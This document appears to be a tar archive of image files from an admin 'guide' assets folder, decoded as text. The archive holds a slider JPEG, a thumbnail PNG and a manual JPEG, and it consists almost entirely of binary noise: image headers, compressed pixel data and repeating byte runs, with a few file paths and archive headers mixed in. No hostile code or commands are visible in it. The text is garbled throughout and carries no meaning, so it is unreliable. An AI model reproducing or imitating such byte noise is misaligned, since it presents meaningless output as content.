omommmmI$$I6mmmmmmI$I$MmmmmmmI$I$mmmmhmmC= 8emzK<ˆqYG3>Kۢa6ehn@B^O?`,!u[|g4ᅍ 1{uO ۴ҫ/!Ia}B]T4w7 '@XuAji5%g~ϡXl9^<--lN oyCLTZRݙhy}2}$+%ޣm%*O?fa`%֖KY;,4^ߑX:`>1#+@ښ9aUKAS-eV.򚨜4VeJt_5`^m>B߱S53.j|zLϿe 8ÜÜÜ9Ü9Ü9Ü9Ü9ËiN4N4N4N4N4N4N4N4Šit9Ü99Ü99ÜÜ9Ü99Ü9ÜÜ9Ü9Ü99Ü9Ü9TJ%DiDiDiDiDh[A⸢) 1y*j{-oAѡv;V6;>d <-ӻקSN̳%zH+&ñ. P(rB[Bp395iLb c[S1Vw0R ZcPG"jxT"`Z[Uv/@ j veAGRrMIn{G sq: WwRd8eƣxX>% $e.0!cR n(d&/SQ2pHDZ3А53+KI3n=cSsu7I)tF=̫´3J]Ji#BY9m #BlGU x<[t5w:8h ]7iTǶ BfZ-ytnzm†R21mZ\2j}Ɯ&Asm񪃦Cez Ѱ6?Se2LS)m񧃮;}=h;kpe2LS_U-el[-el[-el[ =6C-EX-Uc R5f~n Clel[-el[-el[-Vߡ{ 1h[J]$Դ/ݶ;/ N= w=N3mS'5-u\g)JvOǢzѼ~%lbqiWR,LY] GpZTh=e-ݿ,$[[qQAc٦qU爒M;ԟR}vɹ[+?Ϣne˦#:?QJJApu:^>0nN2F M_1WFS"X'>:@XQ֭@&qYSI.jUjUfe}ŕ4-b`+f cGpZ(GMI 8 uvj\%؍"%/kF2Q:@eF;9|8_Z4h.Ka ql<;̏lY]dBQkG]&5_O-/:MBةx%`584/ytx=т_EKk6Yo74F4╾l`4eUpXzU+hc{CJ.вk,67bcC /S)s_x5jYqL-WQ5PtFPUA Z?=-1 hP4uL8دSCdNH/8>!Rd&hs* 0ҡp U#ҦE Xڦ$"棼%r1FQI-wQ!)+_0DӹTj0@(쭣ݾ,OFxDeYӪjіi;:N]t*hm +Yr._#S0p Qm:j'ෞ0"q:&ZD޺[x |%xiM\}q~\r˗.\q~ y\rr˗.\rP!)Ϥdwy_u\whc-%k9d5jbchFT1acڔ0r.rsBT+ɘ&UݥS=R̚q#MZUʂ k2R[!px$e`- ."4FKh뺣iF3>gg~?[s "dx!v;7r}WP/q*F hh;#rн9NãN#o1J_hQթ)Ѭ S3F}> - ]M+nO]ͷIN2oRwUZb47pQ@Nt'[OwyϺe2v5 BL0huܛLP+5>Npw@3A)8cm/Uy^g{Nxp< Nl4_Cwwwwwwwv]6V Np'8 p'p'pp<Np<0hm(QiF҉FҍJ6m(QiDiFҍ8 Np'8 N A`~% wf bJ%J6J6m(QiFҍJ6J6m(m(QiD;45b4at}osۦi gsjTr|;K%1߯Vvg$Ƴr˫Xe8}cѓ{M[CgvZhȨ]s#3Bߘ'. `/t)oxĵ9JB^|=Wmv "K3 Ԁ)s o_))Jv a\Mܨ&¦V-F.BEiY>aџӺ0>% lgNG0CPDkњКAV~0xc'1UndE!Nf]o- ˤU]Os=KlF40:#ѹ# Fӑ5D:> {|iaŁTU-ess"8%ΐhz0|V"1"¡%(X=J\4SY,JD ZvPΏ[jhTeE:+[ 2@uLBlTk9 .h4tk5l YB*,48? *KS.zUANa|2uuQ эn#8E_C ylpRlP+~TXJUã-w-݄Cp1pQB{D"lQĥ6@y2]-sB@?4ExiWJbZiGh-k/r~aKrH#BU\,~Q:?IMcGSRN!.'w>aʝ#ػJ돈okQ`, "#&u~hTšPvPirMmUoݚ_u@HI"HE>q6r7TsmcbZin [Kleؗp)ݓ0 IPxawҵ+9YH໨5]0tois}` :V{=WsYLF1EfhJ"(:d,DE,rM&cpk:Vw#}u MvLg|G tb U,mR:u+[V&~{\a 0[AkJg(DgyT1џszW)PHuP?z'۔1[ٔP@ (7MĿ] :mC??9 2oBL雠f 92o8V ҊtL00e͘/f/fpt 3zeDI9'$䜓rNI9'$䜓rCr1I*TR_g_+ֻ"Ew \z3{$:Cm{U?6hc>3E.W3>A;37SP5Aꖳ3>AU꾇C)f}{_B^s3{&g;.\r˗.\rˍNYŜYŜYŜYŜYŜYŜYŜYņ\r˗.\r˗.\r˗.\r˗.\~DQ((J%DQ(BT=*xTOj<!nr;>]z+!z* D ]q#-wq3.\S_Grj*W^{_z7^?8bz`LN:#0{'Aˈ硃1< V1=Q eLN= 98=`GB 3p8g 3p8g 4?õWUijR ?)WBϡkг{5H{E>"d=yT0H 5`y=y ^mqTP gOTd=tZ=ϡgA@} I$I$v[.\r˗.\W.L }sR zǏjWU繾admin/assets/images/guide/guide_slider.jpg000060400000016650151724235750014660 0ustar00ExifII*DuckyP|http://ns.adobe.com/xap/1.0/ &Adobed I      @ 0@pP4!1AQђ350"2 aR#@pqBrP$bT1A2 0Q@Pp!a"q!1AQa0q @Pp ;#LҘd@Ukvp -G674z1YnX9r36rs7)gߜ> NhZ_MôȰ4):8{r[2klzszp 5աhpzy\=9E !Z!ZO<5D+[D+@ظؠоkbWrfhs(䖤ǃ]_CC<>v~G߭ {U$rW7^cKiy/14Ɨ^cKiy&ϔ} RậUdVJ"艏E21F<Ǚ#dčy2%alz}22FBY #!dd,2D/ek (kγj3rR|q;޴:C:C:C9&%˾E#4\L׌3^2fdxɚ5&kL׌3^2fdx%Jyqa$QwmB+T}C2:Ca:Ca:q֔~!@v4!ЇcBv4!ЇcBrF[/n:jGnӧ+sj>u7 /WiB] t.кB] bR-ʵ|JQXجlV6+cbXجlV6+)TNuRRWE4] ѲjD\.j5 BsP2sRޗ*o4bءlP([- bBؠɵHˮJjM*yRSN&/%U++_[ al-[ `bIj>|+JuR7ԍF#zHޤoR7ԍF!괩_}E=|[TqE硣zV-ɖre2ܙnL&[-ɎҏT8qL\S.)ˊe2+~ˢ>iikMVo$~T-RK_?ތ jcSƦ51LjcSƤa͊ᷨ ׎4"0RAdAdAcɳcz@tAtAt>%Ez|;nH$׼?ށ eC*PʆT2 eC*P6Yqqq#e%bL2dɓ&LHro$ɓ&L2dćqlntW/?~V=?*J(IN} }W5~&jM\5sWj_W5~&jM\1R]7PI F|X!WDo{gQsAHJ/ YV{՞5g|MYV{՞5g|MYV{՞5g|MYD (,ojJk?Bgyqi dN၉9(p Қ펅zSP -[ s[H涑l%m"KE5a.ki\-jXxByɳK:;5RIzR԰>ѭͣ[sF6lm 59k`.sh\ѭ̅NZ(]xFX(u# E\ha]މ\haBp$:7~/s 6 )T6cڵmpJLb+4ԺYG WB#c7 [$1JD_צ[zo5צ[zo5צ[zo5צ[zo5צ[zo5צ[zo5צY)={@ f1\#lH_̇iay3q_s(:^ʙ2' ylZjVne[1lZjVne[1lZjVne[1lBcN%J ]pFo`G~_NIhip/H&q<rV|St & ⫧QQЉCMj{-=Vٵj{-=Vٵj{-=Vٵj{-=Vٵj{-=pUi)؁΄\vUK`W~^ < z~!${3Ug5V{!=Ug5V{!=Ug5V{!=Ug5V{!=Ug7]=Җ Lo, NUuK%kv3`cShQQm;oܶC58zIu(FG8(y|=3<΄Ke4F,n4D0.EHo$@r[CR_ TKtL^4t0uH/*2^-痝2BJ#P`O?!"x 3333333 h.}jH/{D>T tAAA Z. Ϻh)NHi|(Pj„tun ;8pÚ)wqd8n!+8pÚ7 &hJ+yynbzU^Af4_aJ>PGG{(dh{'AJV 8}Qo|+&p:q"ȅXN1t6í}}}n8zJ@i0~w X zA.` ] Ç8p)|7*4%Հ&.g~ 8pÇqKcmfC\jTdE|1› B⭿utC4|x!R!C#T~ jsBP1aA3?!ժϾR o[-K|% o[-Uglcs >jst;-NjwKSZt;-NjwC#W:rZC(~[:4\Uߢg,yd;!YwC,yEڽN]ZoT^o9긣UYvC,id;K!Yҫz vqmWq)n;>/ 旆Kyixo47^/ 34w--`^R p^P5ɴ7t~4mя{$0 ' I$I$_[mm/Cm[m*GI$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$p I$I(I"I$I $^$ $oI2I$I7I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$aGI$I$I$I>8I$I$I$I$I$I$I?"!k!T=\@ L^M#׽6$@B*16{888Wfl izT9$gLY􅖌MA  B0bCxT.2dɓ&L=qR6%t h5` SuHh&L2dɓ7!3kP D&f!?JM/rQE  AR1R?i(jYsK/?M,N j0>[&n0X R`?9 Ԉ$M 0dVKEbŋ,Xc. U;H0J+c8\i:Z}04hѣF+tT?jA,XUUUUUU\`"BO3j!A.fD՘ ,,,h7ϼOD8oT 8v`r(e0Ц؇'N &Adobed $*n       0P 2@p1345 3!2P14 AQq"@pBr1P0!pa1aP! AQq@p` :H lrXD:|0Ā b4!@I 0gGh8@+ g<h Z@ Z@h2`dX%P4DDH= L#1 5#x'G!Ǭ~W.X[&*܀ ܺ4:|:4xzP\3oҷg_g.z5zjT0ox&2`[ oomղ!-Vf лǨʭ~ @yoH`[>#|d j:L7c&6^+vuNp헣Qѡgv@pͿ˭3O;3G*~1\Pcoh#r: [D2r4^ V*k"Cz6=sʦkk)XzU5U_Q?xiTUҠˇ2FH#$d2FH#$d2FH#$d2Djِ:Τ,K:Τ,K:Τ,K:Τ,K:Τ,|/*Kʒ򤼩/*Kʒ򤼩/*Kʒ򤼩/*Kʒ򤼩/*KʒiW]TTۺ=s)Y5̪c;qۺ-"%=ǯ g[FT2%r4g_r5[~v\k߯+(cR;Ӿ=Z.jv2Ox"ŅuBj :Ԏ s7~k{V#7\4v{Kˆۡ~)PZon g7\UX)Wux=ZTnJ|kl[űl[űl[űl[űl[űl[űl[ t'4sI'4sI'4sI'4sI'4s|KI-$KI-$KI-$KI-$KI-$z",Eon n&CiϑnCu -1#7泙!I+RBg.Zs]w T먟WՂOӥBQztFp\p\p\p\p\p\NSN%8SN%8SN%8SN%8SN%;&k&k&k&k&kG_9` uJu~=IˮRz?#?ڟҡY}1c1c1cgiPڟo?ӟۡCNo?dafm+-[3 ZZj=:QژzОJuY4]OQ kfx>[__}Hk9)M oS~߀7)M oS~߀7)M oS~߀7)MF2:A̘mQ?o&gfMѧ{f O5'GsZ.O?Z$x;[-m3Yp=Ǻ8xG<{tp=Ǻ8xG<{tp=Ǻ8xG<{tp=й;MmbMIQ71&F$(ěxobMIQ71&F$(ěxobMIQ71&gM´)V7 ЦZ+BhSp nM´)V7 ЦZ+BhSp nM´)V7 ЦvńGtiNɶz=&w \jx2{myѧ|6.a1D$߯h旚a%KYfdztk#+HȌx~fYH0Ɖ?o%Jƪh>I0էI%³P>k ?!.]VEZ[ZC*? \6 AG. nIJEX{6h| ぷn?N8~G%]Hmapb܍6l$QeU(8/dDDDDDDDDDDDD\I9Y5MEQDQ5MEQDQ5MEQDQ5MEQDQ5MEQDADQ4MADQ4MADQ4MADQ4MADQ4Mm }a`r܅& CrW|w#0( ٫IZ8x&H6M8g. ]RECۡ _)\7:J^Zw"|s!+t1~FJ΄r \o;!fY7b=wX ar_9sd߁)ݲK[͐Y\o;CK//cWnn /]R4g?!3.ns]D7d .ˊ@@D]3vBSv S:@c{O\pW.8Ys"ʁʁʁʁʁʁʁʁʁʁʁʁʙ,?$ tv>rmـ4puݐ&I[I!|N\̺ Mud?!Ү4MtQݜo qG8o N7g(\[ 99SZ%%GW:8rlF+ъtb1]WF+ъtb1]WF+ъtb1]WF+q5K%K%K%K%K%K%K%K%K%K%K%K%K%K%K%K%K%K%K%K/UUUUUUUUUUUUUUUUUUU~rLC8ݜ.QG(.N7M*NE $I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$`I$I$I$I$I$I$I$$$I$I$I$I$I$I$I$ω'I$I$I$I$I$I$I$I(bII$I$I$I$I$I$I$M4I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$$I$I$I$I$I?I$I$I$I$I$NI$I$I$KI$I$I$I$I$I I$I$I$I$I$I$OI$I$I$I$I$I$I$I$I$I$I$I$$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$iI$I$I$I$I$I$I$M$$I$I$I$I$I$I$I$'xI$I$I$I$I$I$I$I3II$I$I$I$I$I$I$LI$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$II$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$$I$I$I$I$I$I$I%dI'jI$I$I$I$I$I$I$IZII$I$I$I$I$I$I$$I$I$I$I$I$I$I$U$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I)$I$I$II$I$I$I$I$JI$I$I$DI$I$I$I$I$I$I$I$JI$I$I$I$I$RI$I$HI$I$I$I$I$I$I$I$$I$I$I$I$I$I%$I$I$$I$I$I$I$I$II$I$I"I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$ $I$I$I$I$I$I$I$I&I$I$I$I$I$I$I$JWIڒI$I$I$I$I$I$I$VI$I$I$I$I$I$I$$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$?R$\Kp~L{tՂpCPIo{ (lA6OvɐQy2aqq88A1q$&nD A,5"Mn:l[aNC[Lp"Zg'/My<902g=3<<<<<<<<<<& % t!fqpaq$8I$3y &/ A,5 B ·\ Š~L$t;`@Eo{* z`1&_ (`C[ ?R HbEĿѦ.HW 씲ImBY 01rg2#rbL렉 [&hn~LP)}uoeqpz Ei@T[ciTvAEǸ8%HL.W@b8&-ҽj ݁!AİM9} v~8r^?ΐ`Lg½j 3nP0\. "r !}8 .J$t&jP?O{V,Ŗɓ&L2dɓ&L2dɓ&L2dɓ&:tӧN:tӧN:t2dɓ&L2dɓ&L2d?F&Y71ԣJ1ԣJ1ԣJ1ԣJ1ԣJ1ԣJ1ԣJ1ԣJ1ԣJ1ԣ_ 0У 0У 0У 0У 0У 0У 0У 0У 0У 02Yۥ6 Ss4eQ<%Wgj =bkUWrah vٓ pHYs+IDATx}s\ǑfV;}q7$ޤx}`qq%Pyv f [7=aF*,CC0 0vϫ~#zeɄarh6#1?{^<3ޝ%nf S0QŦ΂1F;@J]*;e6́:wn|i?85;2>ܓ6d}e=8qDL !C9|D/!pʌO9|pAPbKdЍH;s/e,-]& j #qG3k:u_N߉ӧƇ^eSScnj+skjienM=y>rBoz0ZK8%evb+0ss!xBvvL\9qd?vl88pc:ʑ=#?xȒk3K5[wyhղYSd&޼|܁pfvnuM?3zӛ+5To4Drd|[^=ß&ﮬY7z'Μ؟CS#R7FSb{k!J1`2hw~7?v/_|%k~#R~Ί+W~- řمVM2`w~_ugHVQ[˥2sBφ֖JZ6E"WL'G o^B'36>K@^PJnFߥFڬA)H25S #$ZKiPk"|^0{󓣪:{I='Oر]W '@INlpS5}Y튌q86swʏ &r쒔d}}<䑃__u$]*Yicld*-K=) 3~70\/mR1ZjZj(1a ܺ>(Me@j o+Urm׊xZ`$Rl%kԫfzZ  ƀ1B"""Ҩ[ZDXk商6\_^.? JEُ3YXrd?<4ǟo@0 2'˲ .\ ݺ4Eeϥr9Y*5u<5j #`i`@²]AS`pJCӴM,")uyōFwO<BbIe6'C^-ABoژ )!B˲iY$0LÈ S7MM Or >'?3a#t1aIg'f>~ww`ޣ'^t<BfdZC.Up(~219yrqL3q-L߬aaZ(:vجxZXR'2=]8{Ԣ-2]7,hj̎l__n48AQZ0ׅۑ*l>r15fP@ hժD&j4x&M~e%>?6;v@Dv |V+yױG_OL]z3\ #c{oOr !0MҊ V3 ԨDwOw>"9 R 4Z!1ƈ δ4Qhʡ4 `> 78&&4FL$"˓0 Ԓ08*MQQXyZ _1 $b *lO<6㦏`.gos-'H f81`QoG=Oq捛q2E gOHHD$tM!RQ// 5j${ڥWk8k4=igzZe=$M)~ƅ3)B`SD l50B|K/у]xHuZrμx؀$3D:89:A7O[` FiM@A @i{RB@a_*tʦr_^,Hq0Ҿ2F {HpcuqH YwaxFk//j2ӗL*y~`wmj]^ZJFB'Dm<06ض-S42wd@n,ߞ.Yq;zGd}àNf}u4YX䂋7~z} Ztt0lK? DZ-d&ci` cKX70BDݗʤ/ ZD}C,rrB_}"I$Mrw_w8]D6cܘ[L.gG&&LJҨ&"4Pa>W+t"O@qTam}o6P7L~2V֗+2Vfkәk:}HUuGh_ߨ_vx0 rXjջwn-CZ.-TbTP]]Z{Xc3E*B5ˠ_uwv!8lM<%"r|!!~ԡޘ!0 3M#/ __op#kecտs^u[:1axɌ*ٮ K cٲ[N01, F\0lO~?O>Cik;gkCCc33OlPE灆0.LF+-KŽGc&n p]INÉm'jƐ5`4ՠ@ʇm`?NZRrS_~\ox΀ADċx{xG*zvv PVu:}LܹӮ)TV~q`o:0q`Pa!M4&DgIevFhZMwCeӧO:LGPQ h=察^wġ}p`}]7"H&{ AaXoyZ1!T|K@൚^I" Q[l&* r/I> ! RyaAY2cB0"&<ҭzcm! 뿌1:9cG@v9b!Bg.!iPD6z?0F!%Gw!jI巎R eB`[fw_*CLlwUc;z@KVm")j gH)h tQv@$lFB7bj#lZٰ}Fvm4l|74_Y[r`c{ "7~/h3 ~Ga6\HVFL֛O_N9{}]t/Efr;Mu~d:̋S<"sK\\Y3c6lÙO?(BRܩ .}h3š"k<<b@l!\y1v{8}P.!vlڮz {hy2{V}`-Jjm:&l0*$ CkZ(iN(aIENDB`admin/assets/images/guide/guide_mod_thumb.png000060400000024737151724235750015365 0ustar00PNG  IHDRB iCCPsRGB IEC61966-2.1(u+DQ?fQ,,,&aebPX̌2ؼyͨy3fdl%6~- *klYgF2vtUݪ=3áw.6}6YQ-c:2RkSa)aPU'<fNxBxj%g8%ܪ%S.(|"?;,f4< fao2uay9z:ēF$vc&D/1J~eO?CVrU ,$EQR=!Q=!#M߾ZڀXG~Mڰ:g}z}uA^6C۽ʏwiCc Z~س>Gw]]M{6gWW pHYs+ IDATx}{ey>=Ɍqǁ*BiTHE%RZ   (QTF@ QI\\JC&~M؞ό=}}~sg;ko=Z㵯Gs.l^) \qw~ `?=-ZXRf {,NK[HT]#ʾJ[RwA_Sj/Sbtjg)Od=N֑}Ϯw!)[oRKsC饨'WM}Xٿ0t B ~)g)Jܠ,XmQT:X֍鎻fXu 鵥Зssݺh}GFgHæOK.(mR`iqr} XM (,kGuHDj߶ǜ}H RMƃÎ1/:H`1J  ЯhB#P؏2$.$F: ! R P|DDPB0dx%Xv"U@Nm]vL8qC66^ TIU%T2ׯu օP:P8ЁN 5(تPUU!E0jxU`GZT8+ p)>5w@*T~_VK/ :.le~E B:!TAe:^.:DoTPHETW* NY P ZU!3@Ť\[WK.S",ԕP _3  ,AxBh JyTK3NsH=j*B)B@Y+fm[Z7Ttj (PUY92 >L5jTڗ`l(솑5,^BVF_A%PJ21,%Xz N+<(J ZZR?fu-1+ *(*A!+1F`.:4"v}8 ӯEଥgu;|^JTsWQN!J (`nZvӺUaO=_yQz8zK Zٹ7]1Q!T[K*ʊvy|λsuUBfj$*<~}+pꂢuNYdCncT(ācm&;IFU (λ#'6EѺ?_6 Vg+R1*ڲ+s%ˍV*áXRO?=QJ` '7<۪5GV{)U>&Vް乭nbw13^s&Ժwy046nUTB1%EGJlN:Uz?x{QUA,(ǜ;|'n;0C( H c1v6XfEﺍ#Yұwiߏۧ?Uכ/g6燪dvj $Q/k_j/?~J탟|C +4#!Y o0SmK|k̙ԨHX cKkS6=o?3fp7+Hk/V՗~m7cg71(fYMQ̿nҀل ;AbԣSa6uu6VJ?K?o~g Q.!?Gջ+hG^z7z䬛;~s_]IF\VI'(5.Q )p^KJf3P97u+ÿ-^T]}䝳\% /i> =w/.{ h1v%7oל3I^N- 5uSuu2i ]`U`]?/gXrZ6(5yj&'ZuGKG3ǵԒ)(i^T;n掿.;B(K[:%=ɖ;$P:&pi\4BR' %T@T͙̮&כh`{J+Cdv`~x9eHuL}4ȶx |mU(T,Y 8PTmSf[ڪx /S&bTSꏺreI&t:2ȵ,2/z5"UP(D=d-t#V5_;Ɵ6H?Uz3`(a4S!3XH5yj  YnS|ׯT(*U Sd+[jcd^U` 6kHZyEk`=6/N#O5RY >g6HZGjιC#ΪeẌ́%X;e~ߕ!rg]S9髀Y p(d3:ڔH*'%Bډl!uQ6j툮%Xқ5\5I~\qvP ± \ԯʍVhYlaYTV.Kәexg#sڡVw` ֺ,PL~g1:[mz:3*өE#Ǻu*,J*Pr>5͏t5=,e,Rg}B\+u#7@G={^3A2Ȑc~nVR(=R]kPߺxCկKTmhaa1T !$':qCJ5 KL՚iZtauùwqw (VCε9"s(h I-rWkDIUͲ́Ej&K:YAYuG</Ix^sʩļn╢pP(SI26h8jG;gLb1 й8nZŒ?t,:B/ې4;RyGq9}{t<"ѻ  iwlhz4`MTFBA6s-oD+EZLEE 154س-31w/5N3\`ۖg<|0m!,#n{\߭oxCZ]=|5I=,i LBue0Ė QFt0YXc~=iJPoa( hmmʈŠs{q4XU.ތ\u tPĀR KcX3#īC<ĩ_?qeuko=?w}{Ϝe*`NNPDs7pJѐ-`d*r 5@v(^˶kưYxP)өfE*}[7Cؐ7n}?vG"6u?z_ [=qU}V!jP?8 Ԋ:VO>/~+w=+Cn(=#{Vz m|h*b:~홳~O'U DDO}>;M{pl?dHB(*¦/a%O pTYBסnVR,*_Z,qf-j6K ~JR܍r g`ΨrJ բW2؅7c'[xe] Śֽ*4`m\e]oMHE\/>ȝV;u>|MoB :? IQeAS'j'gS:d)8%JʸA [dZ[2fz/3nG=N)W.=%نڹino~W|Ovg7Ctu+}3=>/ VDl^{ՈˏѾZ^~.E`z_#P*gӐ/|xڄΦvΜNSSj&࠴Z+&[QS&2U F L@3f8UR{#9mIVR욶8KW+4G^z+֪ W{g6~g i %g|s>^Y…ɒ0lQlƫƢ]rrS?+T "TȂ*j :KUII#0'QH;xU xq)1 ̤_[1 X??Rt )8} x-uĀP μ\:+@ })t\}ĵ zj=fji:fb8exRRB?i}CڠuAYmu$BP+^eKD&$ZU RGNTݽMԦDk?JoA0^vae@_(zEMFFQ-,S!B@:w{:h=Wc JU;A*TZ7#Dx%loیԎ͆s u: ZX2>C\NŅ΀PTPA)A:š7̇>p[or>'__CjooEk"\];*e# ;BQ_gN_ƚ=P T~2L R8[yRZ$O>fkԴK&f:?^]ܦD?I5uc }[vQI.N#@fO{zwOW3 (YxDA @Epcy~ň̺f4j~Z%u $[McCgm5FhPBF:/Nˌ -\IgyRFt w˵+/ӟT?ߟ@X҈,crÓ ơDP{f64jG_qOjp'S؞ hX-z<"Lfi 4?,(jXݹk4S*Sh5k##`Tm V K|4XolKPx5 eoׇ֦h[D(\S&!WW+b?V pկ޼jnN_d3[Iڸ"Yꁰj5d?2DNT#Й7cXx&_:fl_AU][*^ pU*Mp)aUΘƌq]1x-5k%R*NՎ̖&;ZS>rTTmTi T_#\SEmʵ\r}MᗋH#hAQfGcmˆՆkjh1Z+{!g Y&w:9@DSRtT^HY#䳾ߓ1V&v2:Ҍ˒k  BE#D>đ*dS=nX\h7neMkh"7,7DUGrwHua6 :5xf/$:K:Vv uc+פQ^;dH6Q ֮_"[&Xea^c Z?]`,QfeϊO)Q䆥fT#[ΆԴ7'S*׼Le֤91kS^qbyCTLrpn kPm:Ӫ;#4YTr%+[3I1(LK9L+ rscccccU Gp ^js9%W:շdelIDATJ'9ԩӝ٦h,nNVR}Gov5,}k~[++Spf@ CMD( i0}mtT*=-zDf*' aQػgC[[ գ%$˲\]YUբ(f"1}D:USR<37}Vq)pJqq9WN%?HE֙gdzk^GsoY3I춹ov{>uRt?%+ΟP۵Lr \yĎhdҔȃOV:SO>'ִˉH?N0BO*?3̈́E1mS?̎-0ku L~ WXí[[F"pEɓ8zͻ)8|ŋr 1%U ;yf2Eբh9 iQOaD۷׼FZdYg{Zٯ~Qۿs8ͪ z8Î\T% WEңWNc!.) UDE9êpnPʢxYWW Q jy5և,$-oNNe[Hnmm]tiq7`sssA t'|'ڽo'7O?Vbc*g"}cXUʲOЃ"Ӯn\5;8ﺦ>bŋ*֯E}HŶR3 +_ِf L%Ltmnv] bû{]R$+^8s̳ś^e797j\VfQ [?F?)-<5 4^*q*9\W0/m׭M+5AsBF[S~2S- Fb!S^&3kB@?$ 9|3_S߿\jK4 u^i$WW}_^ ʚ8Zǚ# ご.êҸ;9V^zK`DQDfj/~3W8.$3rmhן* %MXʔҿGC@?ά^:*k3/GRK##2Ωf@. $ Z8-Sbf_N幓:,I>H`eH'imr0j\ҩ;:"H4 '5i >T#-5R֒:c Ia/z~(K0lX*lT?WCG[ʔM >@wz<*J157D%r[@?W"*ELv ʶfkڕTkM7<•~fہy7seyC V]m fL<04)Z2K 'K.庑%XrKnd ֥\7RYu)׍,F`]u#K.庑dP>_IENDB`admin/assets/images/guide/guide_manual.jpg000060400000037614151724235750014656 0ustar00ExifII*Ducky<|http://ns.adobe.com/xap/1.0/ &Adobed !48?       00@P123 230@P4 1!`AQaq"R#1@P`!a10@PAq !Q`p {@'p'p y"')H@Jz"p䈜y"')i "pJ䈜xHbp ?@%.+$Dt`x'$Dt O@H8LN)8y"'ӵOx)8y"' @+)8y"' @+)8y"'@JzDNH<"p$D䈜):($D䈜)boaDNH=@$D䈜)8y"'@JzDNH<"p$D䈜)8y"'@JzDNH<"p$D:eFsE45р .8e`K3Y}3sE43Y}tRu#׆.8 _Gw}K*0&K5RJ9bɤ3ewwԽRXi(n3Y}/T,J.8 _Gw}K*0&K5RJe ,J.8 _Gw}K*0oUd1Xi(n3Y}/T]/9bɤ3o.ܺI*0t7@,q.ު1dPiuoUe:|):>]x`M3,Y47Z]FpYm6k/Xi(nM% ֗Q;yt IQewwԽRM% ֗Q9bɤ3Y7$G.5$5RJ,Y47Z]Fp&Kz-]JEhewwԽRM% ֗Q9bɤ3ުoWd"ҷkZ3Y}/TrœICugXi(n _Gw}K*0dPiu,J.85RJ,Y47Z]Fp&KewwԽRM% ֗Q9bɤ33Y}/T}QikUHၷdPiu,J.85RJo.el u,Y47Z]Fp&KewwԽR7լ~UHdPiu,J.85RJ,Y47Z]Fp&KewwԽRM% ֗Q9bɤ33Y}/TrœICugXi(n _Gw}K*0dPiu,J.85RJ,Y47Z]Fp&KewwԽRM% ֗Q9bɤ33Y}/TrœICugXi(n _Gw}K*0dPiu,J^ɦM2iLd&4ɦM2iLd&4ɦM2iLd&4ɦM2iLd&4ɦM2iLd&4ɦM2iLd&4ɦM2iLd&4ɦM2isiLf6ͦm3iLfs#rG,QrG,QrպbLպbLG,QrG-d,x(J9d(J9d(J9d(J9d(J9d(J9d(J9m3iLf6ͦm3ofm3i~;#;#;+&a'x'x'eqnn,ۥX;|Y2VL%dY2VL%dY2VL%dY2VL%dY2VL%dY2VL%dY2VL?Vif. ZZ1֝i֝i֝i֝i֝i֝i֝i֝i֝i֓2mt7K6Z3K6pnmӒfm0if. fm0if. fVX(9bXr? 0iGi֝h7-0i +&JɑkR. fm0if. fm0if. fm0if. fm0if. ~N|S)w;N|S)w;N|S)w;N|S)w;N|S)w;N|S)w;N|S)w;N|S |T>*CP|T>*rh(2(2(2(2(ǒĥ7)N%/Lzq)McӉKnSJ_rRK/taK/taK/ROҟ?J~)SOf=8K/taS i)Η:^Ly3Η:^Ly3Η:^Ly3Η:^Ly3Η:^Ly3Η:^Ly3Η:^OP|T>*CP}ʇCOҟ?J~cakw-2(2(2Kx"15Kl=7 M̱rguɝ&w\rguɝ&w\rguɝ&w\rguɝ&w\rguɝ&w\rguɝ&w\rguɝ'zn7?4~hG?4~hG?4~hqV9Mcaj_g1Lzl?]?Kl=7 N/鳘&=8Dcp9McӄK~8.EK/taK"Gcp)j?4NSLzn"_/;L3Ϟ>y1LzpMǦ1%6sǧzn"_g1LzpMǦ1%6sǧzn"_g1LzOtTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQDTAQ_FQDeFQDeFQDecs)b)b)b)b)anrf$mIۓ'q';nONvܟmĜFQDeFQDeFQ_Wq';~1LS1LS7IߤeFQDeY>`dFI$dFI$dFI$dFI$dFI$dFI$dFO2#(2#(2cư2)b}gCLS1LS1LS˃8omR H) H) H) H) H) H) H) ml<*J*J*J*J*Jv7nL%}mZ7nvپp}sۃComzLTeFQDe}noՓ*JBgp;~Z) m!7nvپp}sۃCom}nmp;lm>ۄ9fmtTREI$TREI$TREI$TREI$TREI$TREI$TREI$TREI$TREI$TREI$TREI$TREI$TREI$TREI$TREI?BI $$BI $$BI $$}j * * * * /n$uI듭ؓ'['NbOw\nĞBI $$BI $$BI ?W['APTAPTGI$BI $$:`5%BQ D%BQ D%BQ D%BQ D%BQ D%BQ 